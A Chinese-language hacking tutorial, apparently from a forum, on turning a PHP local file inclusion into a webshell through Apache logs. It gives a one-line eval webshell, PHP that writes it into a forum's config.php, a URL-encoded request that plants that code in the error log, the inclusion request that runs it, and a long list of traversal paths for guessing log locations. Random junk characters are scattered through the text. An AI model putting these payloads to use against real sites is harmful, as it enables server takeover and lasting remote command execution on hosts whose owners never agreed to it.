php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
5 c# ^' H% x( K" P* A
比如还是这句一句话木马
5 V" J1 @" b: r3 G( I( F) m( o. v<?eval($_POST[cmd]);?>   

到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
9 t3 J  R8 s3 K2 V5 Yfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
; O; B. h5 j( y/ l% U
) V, N1 [7 o0 {8 A$ v<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句

我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
" Z! Q9 {, c3 V* [0 E3 U" Dconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
9 l1 I/ w6 s- ^/ Jfclose%28%24fp%29%3B%3F%3E
我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
: S  I8 f6 b3 W; E0 R%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
5 r/ l+ Z; M4 R5 y5 N$ V: d$ F3 U%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

+ L& Y+ ]* G$ x' Q% p' C' v这样就错误日志里就记录下了这行写入webshell的代码。
3 Z' |1 G* w' a1 b1 i8 w; D我们再来包含日志，提交
+ p% I7 z' g9 N; @: l, S* vhttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
, n  A$ k/ K7 }2 b* R# W
这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。
: N+ S9 \6 g  ^3 i' i. n
PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径，你可以去猜，也可以参照这里。
8 ]& S; [! s$ z( [& t- k../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
, r. Y0 p# w5 N../apache/logs/access.log
../../apache/logs/error.log
, o, X, G$ P6 {3 H3 F: c6 N, d../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
5 i5 k; w. N. T# d+ U1 |" A6 N0 D../../../../../../../../../../etc/httpd/logs/error_log
) _6 ~+ V- I5 A: C3 `0 B../../../../../../../../../../etc/httpd/logs/error.log
5 E! A' A  x0 Q; [. H" |../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
; u5 O. Z% v- y../../../../../../../../../../usr/local/apache/logs/access.log
/ A0 M8 H; h7 S* ?+ K1 H../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
8 D3 B7 `7 ^' p& M+ U# _5 s' V../../../../../../../../../../var/log/access_log
7 P1 J- K6 b2 d* _7 E5 E# G( K* l" Z../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
* f) l% ?& l+ I' R../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
& c% _1 ^9 u7 g, {. u! m0 k../../../../../../../../../../var/log/apache/error_log
$ b) u" {+ x, ^' `4 S../../../../../../../../../../var/log/apache/error.log
: v+ f* m/ u* H../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
../apache/logs/error.log     
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
/ j( D' L- j4 a: S1 T& V8 n0 f../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
9 _+ A3 k/ Y) y3 p6 m1 f! h/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
7 R" G, y; N6 K9 Z- J0 ]# o  B/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
+ B* L8 z9 H; f9 R$ q& u/var/log/apache/access_log
6 R8 G3 n* c& Z% A7 l: y/var/log/apache/access.log
/var/log/access_log
! i0 n2 X$ I$ t7 B& E2 P/ @/var/www/logs/error_log
! C/ i" k! U) Y$ Q/var/www/logs/error.log
  J/ X: b; T& G; h+ u  a+ P/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
3 T) U  Z; ~" z2 r7 k# x2 y0 V  R/var/log/access_log
/var/log/error_log